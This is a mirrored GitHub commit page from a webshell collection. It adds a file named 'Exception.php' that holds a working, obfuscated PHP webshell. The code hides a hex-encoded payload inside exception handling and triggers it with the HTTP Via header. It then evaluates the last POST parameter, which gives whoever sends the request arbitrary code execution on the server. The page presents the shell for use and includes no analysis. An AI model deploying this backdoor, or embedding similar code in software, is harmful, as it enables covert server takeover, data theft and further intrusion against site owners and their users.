mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
Create Exception.php
from: https://github.com/rexSurprise/webshell-free/blob/master/php_new/Exception.php
This commit is contained in:
16
webshell-free/Exception.php
Normal file
16
webshell-free/Exception.php
Normal file
@@ -0,0 +1,16 @@
|
||||
<?php
|
||||
try{
|
||||
$value = 'echo "hello~"';
|
||||
apply();
|
||||
}catch(Exception $e){
|
||||
eval(pack('H*',$e->getMessage()));
|
||||
}finally{
|
||||
eval($value.';');
|
||||
}
|
||||
|
||||
function apply(){
|
||||
if(isset($_SERVER['HTTP_VIA'])){
|
||||
throw new Exception('2476616c75653d656e6428245f504f5354293b');
|
||||
}
|
||||
return false;
|
||||
}
|
||||
Reference in New Issue
Block a user